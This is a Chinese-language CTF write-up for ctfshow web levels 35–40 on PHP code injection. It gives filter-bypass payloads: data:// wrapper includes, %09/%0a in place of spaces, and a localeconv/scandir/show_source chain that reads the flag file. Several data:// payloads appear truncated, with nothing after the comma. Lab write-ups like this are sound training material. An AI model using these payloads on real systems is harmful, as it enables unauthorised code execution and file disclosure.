0%

ctfshow-web入门-命令篇(二)[35-40]

                                                                                         ctfshow web入门 命令篇(二)

web35

解法一:与web34相同

解法二:用data协议 模板:data:text/plain,

本题用:

?c=include%09$_POST[a]?>    POST:a=data:text/plain,

web36

发现过滤了0-9数字把空格从**%09改为%0a**

web37

和前面的题差不多 直接用data或php协议绕过 推荐用data协议(因为不用后续解码)

?c=data:text/plain,

web38

发现过滤多了PHP和file导致标准的data无法使用 但可以使用简写版(把php改为=)

简写版:data:text/plain,

web39

和前面的题一样的解法

include($c.".php");含义是在变量c的值后添加.php 对data协议无意义

web40

localeconv():返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.)

pos():返回数组中的当前元素的值。current()与其相似。

scandir():获取目录下的文件。

array_reverse():数组逆序。

next():函数将内部指针指向数组中的下一个元素,并输出。

print_r():函数用于打印变量,作用对象是变量。

show_source():对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮,作用对象是文件。

highlight_file():跟show_source()类似。

仔细看会发现过滤的()是中文的 所以相当于没过滤

?c=print_r(scandir(pos(localeconv())));以数组的形式展现目录

?c=print_r((array_reverse(scandir(current(localeconv())))));将目录反转

?c=show_source(next(array_reverse(scandir(current(localeconv())))));显示数组1的高亮文字 得到flag